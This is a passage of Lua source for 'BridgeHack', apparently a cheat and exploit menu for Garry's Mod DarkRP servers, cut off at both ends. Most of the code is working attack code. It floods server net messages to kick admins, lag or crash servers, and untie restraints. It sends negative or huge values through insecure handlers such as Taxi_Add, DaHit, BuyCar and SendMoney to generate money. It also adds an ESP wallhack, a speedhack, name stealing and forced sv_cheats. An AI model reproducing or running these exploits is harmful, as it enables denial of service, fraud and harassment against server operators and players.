)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.SendToServer()\x0a\x0aend\x0a\x0achatP(\"Kicked \".. v:Nick())\x0a\x0aconsoleP(\"Kicked \".. v:Nick())\x0a\x0aend end end) end\x0a\x0aconcommand.Add( \"bh_mx_kickplayer\", kickdaplayer, SVersionCheck )\x0a\x0a\x0a\x0aconcommand.Add(\"Bh_clearcon\",function()\x0a\x0a\x09clearcon()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"Bh_clearchat\",function()\x0a\x0a\x09cleardchat()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0a\x0a\x0aconcommand.Add(\"bh_3dcardealer_spamstore\",function()\x0a\x0a\x09chatP(\"You better be looking at a car\")\x0a\x0a\x09for i=0,100 do\x0a\x0a\x09clearcon()\x0a\x0a\x09chatP(\"Spamming store... \"..\"[\"..i..\"]\")\x0a\x0a\x09net.Start( \"RXCAR_Shop_Sell_C2S\" )\x0a\x0a\x09\x09net.WriteTable({EAA=sweg, CDAA})\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_serverlist\",function()\x0a\x0a\x09status(\"Printing lise to console...\")\x0a\x0a\x09chatP(\"Check console.\")\x0a\x0a\x09clearcon()\x0a\x0a\x09consoleP(\"\"..serverlist..\"\")\x0a\x0a\x09status(\"Complete\")\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0afunction CheckAE()\x0a\x0a\x09\x0a\x0a\x09if requestTables then\x0a\x0a\x09\x09print(\"ae found, bh_ae will work\")\x0a\x0a\x09\x09chatP(\"AE was found, bh_ae will work.\")\x0a\x0a\x09else\x0a\x0a\x09\x09chatP(\"AE was not found, bh_ae will not work.\")\x0a\x0a\x09end end\x0a\x0aconcommand.Add(\"bh_aecheck\", CheckAE, SVersionCheck)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ae_kickadmins\",function()\x0a\x0aclearcon()\x0a\x0achatP(\"Attempting to Kick admins\")\x0a\x0achatP(\"This will only work on admins+\")\x0a\x0atimer.Create( \"aekickdaskids\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif( v:GetUserGroup() != \"user\" ) then\x0a\x0aif( v:GetUserGroup() != \"vip\" ) then\x0a\x0afor i=0, 1000 do\x0a\x0anet.Start('plyWarning')\x0a\x0a\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09net.WriteString('You have to select a player before doing a action.')\x0a\x0a\x09\x09net.SendToServer()\x0a\x0aend\x0a\x0achatP('Attempting to kick: '.. v:Nick().. \"!\")\x0a\x0a\x0a\x0aend end end end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_namesteal_on\",function()\x0a\x0a\x09status(\"Running Script: Random Name Change [name steal]....\")\x0a\x0a\x09\x0a\x0a\x09timer.Create(\"startNAMECHANGEsteal\", 0.12, 0, function()\x0a\x0a\x09\x09local plylastname = ply:Nick()\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09status(\"Trying Name change to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09if ligger_type1 == ligger_type then\x0a\x0a\x09\x09\x09\x09status(\"Name Changing to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09if plylastname == v:Nick() then\x0a\x0a\x09\x09\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09\x09ply:ConCommand(\"darkrp name \" .. v:Nick() .. math.random(1,10))\x0a\x0a\x09\x09\x09\x09\x09status(\"Changed Name to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09end end end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_namesteal_off\",function()\x0a\x0a\x09timer.Destroy(\"startNAMECHANGEsteal\",0.12,0,function()\x0a\x0a\x09end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_removelookingat\",function()\x0a\x0a\x09chatP(\"Removing prop looking at...\")\x0a\x0a\x09net.Start( \"MDE_RemoveStuff_C2S\" ) \x0a\x0a\x09\x09net.WriteTable( {DATA=\"\",TARGET=sweg} ) \x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"__bh_lagdarkrpdashit\",function()\x0a\x0a\x09chatP(\"Starting the lag...\")\x0a\x0a\x09timer.Create(\"lag\"..BridgeHack.RandomVar, 1, 0, function()\x0a\x0a\x09\x09for i=1,10000 do\x0a\x0a\x09\x09\x09net.Start(\"DarkRP_spawnPocket\")\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09status(\"PROGRESS[10000/10000]\")\x0a\x0a\x09\x09\x0a\x0a\x09\x09end) end)\x0a\x0a\x09\x09\x0a\x0aconcommand.Add( \"__bh_stopplag\",function( )\x0a\x0a\x09chatP(\"Stopping the lag...\")\x0a\x0a\x09timer.Destroy(\"lag\"..BridgeHack.RandomVar)\x0a\x0aend)\x0a\x0a\x0a\x0aif dspam == true then\x0a\x0a\x09chatP(\"Spam split / make shipment ON\")\x0a\x0a\x09timer.Create(\"spamdashit\"..BridgeHack.RandomVar,0.1,function()\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09if v.Entity:GetString() == \"spawned_shipment\" then \x0a\x0a\x09\x09\x09\x09status(\"Splitting shipment\") \x0a\x0a\x09\x09\x09\x09RunConsoleCommand(\"darkrp\",\"splitshipment\",v.Entity:EntIndex())\x0a\x0a\x09\x09\x09elseif v.Entity:GetClassName() == \"spawned_weapon\" then \x0a\x0a\x09\x09\x09\x09status(\"Making shipment\")\x0a\x0a\x09\x09\x09\x09RunConsoleCommand(\"darkrp\",\"makeshipment\",v.Entity:EntIndex())\x0a\x0a\x09\x09\x09end end end) end\x0a\x0a\x09\x09\x09\x0a\x0aif dspam == false then \x0a\x0a\x09chatP(\"Spam split / make shipment OFF\")\x0a\x0a\x09timer.Simple(1,function()\x0a\x0a\x09\x09timer.Destroy(\"spamdashit\"..BridgeHack.RandomVar,function()\x0a\x0a\x09\x09end) end) end\x0a\x0a\x09\x09\x0a\x0aconcommand.Add(\"bh_kun_ziptie_untie\",function()\x0a\x0a\x09chatP(\"Untieing...\")\x0a\x0a\x09for i=0,30 do \x0a\x0a\x09\x09net.Start(\"Kun_ZiptieStruggle\")\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"___darkrpshipments\", function()\x0a\x0a\x09if dspam != true then\x0a\x0a\x09\x09dspam = true\x0a\x0a\x09elseif dspam == true then\x0a\x0a\x09\x09dspam = false\x0a\x0a\x09end end)\x0a\x0a\x0a\x0alocal function BridgeHackCHECK(v) \x0a\x0a\x09if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then\x0a\x0a\x09\x09return true\x0a\x0a\x09else\x0a\x0a\x09\x09return false\x0a\x0a\x09end end\x0a\x0a\x0a\x0ahook.Add(\"HUDPaint\", \"JESP\", function() \x0a\x0a\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09if GetConVarNumber(\"bh_esp\") > 0 then\x0a\x0a\x09\x09\x09if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_renderdistance_enable\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber(\"bh_esp_rdistance\") then\x0a\x0a\x09\x09\x09\x09\x09\x09local PlayerESP = (v:EyePos()):ToScreen()\x0a\x0a\x09\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09draw.DrawText(v:Name(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_rank\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09\x09\x09draw.DrawText(v:GetUserGroup(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_hp\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09\x09\x09local infocolor = Color(255,0,255)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09draw.DrawText(v:Health() .. \" HP\", \"BudgetLabel\", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09local col = team.GetColor(v:Team()) -- looped into esp (square box) \x0a\x0a\x09\x09\x09\x09\x09\x09local min, max = v:WorldSpaceAABB()\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09min, max = min:ToScreen(), max:ToScreen()\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09local h = (min.y / 2) - (max.y / 2)\x0a\x0a\x09\x09\x09\x09\x09\x09surface.SetDrawColor(col.g, col.b, col.r)\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_box\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)\x0a\x0a\x09\x09\x09\x09\x09\x09end end\x0a\x0a\x09\x09\x09\x09else \x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local PlayerESP = (v:EyePos()):ToScreen()\x0a\x0a\x09\x09\x09\x09local infocolor = Color(0,255,0)\x0a\x0a\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09draw.DrawText(v:Name(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_rank\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09draw.DrawText(v:GetUserGroup(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_hp\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09draw.DrawText(v:Health() .. \" HP\", \"BudgetLabel\", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local col = team.GetColor(v:Team()) -- looped into esp (square box) \x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local min, max = v:WorldSpaceAABB()\x0a\x0a\x09\x09\x09\x09min, max = min:ToScreen(), max:ToScreen()\x0a\x0a\x09\x09\x09\x09local h = (min.y / 2) - (max.y / 2)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09surface.SetDrawColor(col.g, col.b, col.r)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_box\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)\x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)\x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)\x0a\x0a\x09\x09\x09\x09end end end end end end)\x0a\x0a\x0a\x0afunction blur_on()\x0a\x0a\x09DrawMaterialOverlay( \"Models/effects/comball_tape\", 0.5 )\x0a\x0aend \x0a\x0a\x0a\x0afunction blur_off()\x0a\x0a\x09DrawMaterialOverlay( \"\", 0.1 )\x0a\x0aend\x0a\x0a\x0a\x0aconcommand.Add(\"+bh_menu\", function( ply ) \x0a\x0a\x09status(\"Menu Opened.\")\x0a\x0a\x09if GetConVarNumber(\"bh_menu_effects\") == 1 then\x0a\x0a\x09\x09hook.Add( \"RenderScreenspaceEffects\", \"BlurBG\", blur_on )\x0a\x0a\x09end\x0a\x0a--[[\x0a\x0a\x09mainmenu\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09THE MAIN\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09MENU\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09STARTS\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09HERE\x0a\x0a\x09\x0a\x0a\x09|\x0a\x0a\x09V\x0a\x0a]]--\x0a\x0alocal menu = DermaMenu() \x0a\x0amenu:Center()\x0a\x0amenu:AddOption( \"BridgeHack \"..dlversion, function() \x0a\x0a\x09AboutMenu()\x0a\x0aend ):SetImage( \"icon16/shield.png\" )\x0a\x0amenu:AddSpacer()\x0a\x0afunction menu:Paint( w, h )\x0a\x0a\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )\x0a\x0a\x09draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )\x0a\x0a\x09surface.SetDrawColor( 0,0,0 )\x0a\x0a\x09surface.DrawOutlinedRect( 0, 0, w, h)\x0a\x0aend\x0a\x0alocal ForcingMenu, optMenu = menu:AddSubMenu(\"Client-side Forcing\")\x0a\x0a\x0a\x0aForcingMenu:AddOption( \"Force sv_allowcslua 1\", function() \x0a\x0a\x09ply:ConCommand(\"incrementvar sv_allowcslua 0 1 1\")\x0a\x0a\x09status(\"Forced SV_ALLOWCSLUA TO 1\")\x0a\x0aend):SetImage( \"icon16/link_error.png\" )\x0a\x0a\x0a\x0aForcingMenu:AddOption( \"Force sv_cheats 1\", function() \x0a\x0a\x09ply:ConCommand(\"incrementvar sv_cheats 0 1 1\")\x0a\x0a\x09status(\"Forced SV_CHEATS TO 1\")\x0a\x0aend):SetImage( \"icon16/link_error.png\" )\x0a\x0a\x0a\x0alocal ESP = menu:AddSubMenu(\"ESP\")\x0a\x0a\x0a\x0aESP:AddOption( \"[ON] ESP\", ESP_on):SetImage( \"icon16/group_add.png\" )\x0a\x0aESP:AddOption( \"[OFF] ESP\", ESP_off):SetImage( \"icon16/group_delete.png\" )\x0a\x0a\x0a\x0alocal Speed = menu:AddSubMenu(\"Speed\")\x0a\x0aSpeed:AddOption( \"[ON] SpeedHack\", speedhack_on):SetImage( \"icon16/lightning_go.png\" )\x0a\x0aSpeed:AddOption( \"[OFF] SpeedHack\", speedhack_off):SetImage( \"icon16/lightning_delete.png\" )\x0a\x0a\x0a\x0a\x0a\x0alocal NameStealSub = menu:AddSubMenu( \"Name Stealing/Changing\" )\x0a\x0aNameStealSub:AddOption( \"[ON] Name Steal\", function()\x0a\x0a\x09ply:ConCommand(\"bh_namesteal_on\")\x0a\x0aend ):SetImage( \"icon16/book_addresses.png\" )\x0a\x0a\x0a\x0aNameStealSub:AddOption( \"[OFF] Name Steal\", function()\x0a\x0a\x09status(\"Stopped Script: Random Name Change [name steal]\")\x0a\x0a\x09ply:ConCommand(\"bh_namesteal_off\")end ):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0alocal MoneyExploits = menu:AddSubMenu( \"DarkRP Money Explots\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] Drug Sell\",function()\x0a\x0a\x09\x09for i=1,1000 do\x0a\x0a\x09\x09\x09net.Start(\"Kun_SellDrug\")\x0a\x0a\x09\x09\x09net.WriteString(\"Meth\")\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] Taxi Driver Money\",function()\x0a\x0a\x09\x09chatp(\"Giving money\")\x0a\x0a\x09\x09net.Start(\"Taxi_Add\")\x0a\x0a\x09\x09\x09net.WriteString(\"MLG\")\x0a\x0a\x09\x09\x09net.WriteTable({-1333.647461, -1473.931763, -139.968750})\x0a\x0a\x09\x09\x09net.WriteFloat(-99999999)\x0a\x0a\x09\x09\x09net.WriteString(Desc)\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] SS Shelf NET\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09swag = v \x0a\x0a\x09\x09end\x0a\x0a\x09\x09net.Start( 'NET_SS_DoBuyTakeoff' ) \x0a\x0a\x09\x09\x09net.WriteEntity(LocalPlayer()) \x0a\x0a\x09\x09\x09net.WriteEntity(swag) \x0a\x0a\x09\x09\x09net.WriteTable({'spawned_weapon'}) \x0a\x0a\x09\x09\x09net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16) \x0a\x0a\x09\x09\x09net.SendToServer() \x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HITMAN MONEY\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09net.Start( \"DaHit\" )\x0a\x0a\x09\x09\x09net.WriteFloat( -1000000000000000000000 )\x0a\x0a\x09\x09\x09--net.WriteFloat( tm )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HHH MONEY\",function()\x0a\x0a\x09\x09local ply = LocalPlayer()\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09dahater = v\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local hitRequest = {}\x0a\x0a\x09\x09hitRequest.hitman = ply\x0a\x0a\x09\x09hitRequest.requester = ply\x0a\x0a\x09\x09hitRequest.target = dahater\x0a\x0a\x09\x09hitRequest.reward = 100000000\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Start( 'hhh_request' )\x0a\x0a\x09\x09\x09net.WriteTable( hitRequest )\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] BOONPC\",function()\x0a\x0a\x09\x09net.Start('BuyCar')\x0a\x0a\x09\x09net.WriteFloat(-1000000000000)\x0a\x0a\x09\x09net.WriteEntity(LocalPlayer())\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] Hitman X Menu\",function()\x0a\x0a\x09local frame = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09frame:Center()\x0a\x0a\x09\x09frame:SetSize( 200,150 )\x0a\x0a\x09\x09frame:SetTitle( \"\" )\x0a\x0a\x09\x09frame:MakePopup()\x0a\x0a\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09function frame:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )\x0a\x0a\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09draw.SimpleText( \"BridgeHack Hitman X Menu\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local playerMenu = vgui.Create( \"DComboBox\", frame )\x0a\x0a\x09\x09playerMenu:SetPos( 10,40 )\x0a\x0a\x09\x09playerMenu:SetSize( 120,20 )\x0a\x0a\x09\x09playerMenu:SetText( \"Select a Player\")\x0a\x0a\x09for k, v in pairs( player.GetAll() ) do\x0a\x0a\x09\x09playerMenu:AddChoice( tostring( v:Name() ) )\x0a\x0a\x09\x09playerMenu:SetTextColor(color_black)\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local Button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09Button:SetPos( 180, 2 )\x0a\x0a\x09\x09Button:SetSize( 20, 20 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.SimpleText( \"X\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09frame:Close()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local SpamHit = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09SpamHit:SetPos( 20,70 )\x0a\x0a\x09\x09SpamHit:SetSize( 150,20 )\x0a\x0a\x09\x09SpamHit:SetText( \"Get Money\" )\x0a\x0a\x09\x09SpamHit:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09SpamHit.DoClick = function()\x0a\x0a\x09\x09\x09local v = playerMenu:GetText()\x0a\x0a\x09\x09\x09net.Start( \"SendMoney\" )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local CrashButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09CrashButton:SetPos( 20,90 )\x0a\x0a\x09\x09CrashButton:SetSize( 150,20 )\x0a\x0a\x09\x09CrashButton:SetText( \"Crash Server\" )\x0a\x0a\x09\x09CrashButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09CrashButton.DoClick = function()\x09\x09\x09\x09\x0a\x0a\x09\x09\x09for i=0, 10 do\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_hitmanxcrash\")\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local InfaButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09InfaButton:SetPos( 20,110 )\x0a\x0a\x09\x09InfaButton:SetSize( 150,20 )\x0a\x0a\x09\x09InfaButton:SetText( \"Infinite Money For Everyone\" )\x0a\x0a\x09\x09InfaButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09InfaButton.DoClick = function()\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_hitmanxinfa\")\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/application_form.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HITMENU\",function()\x0a\x0a\x09\x09local HitPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09\x09HitPanel:SetPos( ScrW()/5, ScrH()/10 )\x0a\x0a\x09\x09\x09HitPanel:SetSize( 300, 200 )\x0a\x0a\x09\x09\x09HitPanel:SetTitle( \" \" )\x0a\x0a\x09\x09\x09HitPanel:SetVisible( true )\x0a\x0a\x09\x09\x09HitPanel:SetDraggable( true )\x0a\x0a\x09\x09\x09HitPanel:ShowCloseButton( false )\x0a\x0a\x09\x09\x09HitPanel:MakePopup()\x0a\x0a\x09\x09\x09function HitPanel:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"BridgeHack HitHack Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", HitPanel)\x0a\x0a\x09\x09\x09Button:SetPos( 250, 0 )\x0a\x0a\x09\x09\x09Button:SetSize( 50, 25 )\x0a\x0a\x09\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09\x09HitPanel:Close()\x0a\x0a\x09\x09\x09end\x09\x0a\x0a\x0a\x0a\x09\x09local HitButton = vgui.Create(\"DButton\", HitPanel)\x0a\x0a\x09\x09\x09HitButton:SetPos( 140, 100 )\x0a\x0a\x09\x09\x09HitButton:SetSize( 100, 20 )\x0a\x0a\x09\x09\x09HitButton:SetText( \"Get Money\" )\x0a\x0a\x09\x09\x09HitButton:SetTextColor( Color(255,255,255) )\x0a\x0a\x09\x09\x09function HitButton:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09HitButton.DoClick = function()\x0a\x0a\x09\x09\x09\x09ply:ConCommand(\"bh_hithack\")\x0a\x0a\x09\x09\x09end\x09\x09\x0a\x0a\x0a\x0a\x09\x09local HitSlider = vgui.Create( \"DNumSlider\", HitPanel )\x0a\x0a\x09\x09\x09HitSlider:SetPos( 20, 50 )\x0a\x0a\x09\x09\x09HitSlider:SetSize( 300, 40 )\x0a\x0a\x09\x09\x09HitSlider:SetText( \"Money Ammount\" )\x0a\x0a\x09\x09\x09HitSlider:SetMin( 0 )\x0a\x0a\x09\x09\x09HitSlider:SetMax( 1000000000 )\x0a\x0a\x09\x09\x09HitSlider:SetDecimals( 0 )\x0a\x0a\x09\x09\x09HitSlider:SetConVar( \"bh_hitmenuammount\" )\x0a\x0a\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" ) \x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] 3D Car Dealer\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_3dcardealer_spamstore\")\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] VCMOD Sell-car\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\") \x0a\x0a\x09\x09for i=0,30 do \x0a\x0a\x09\x09\x09for i=1,10 do 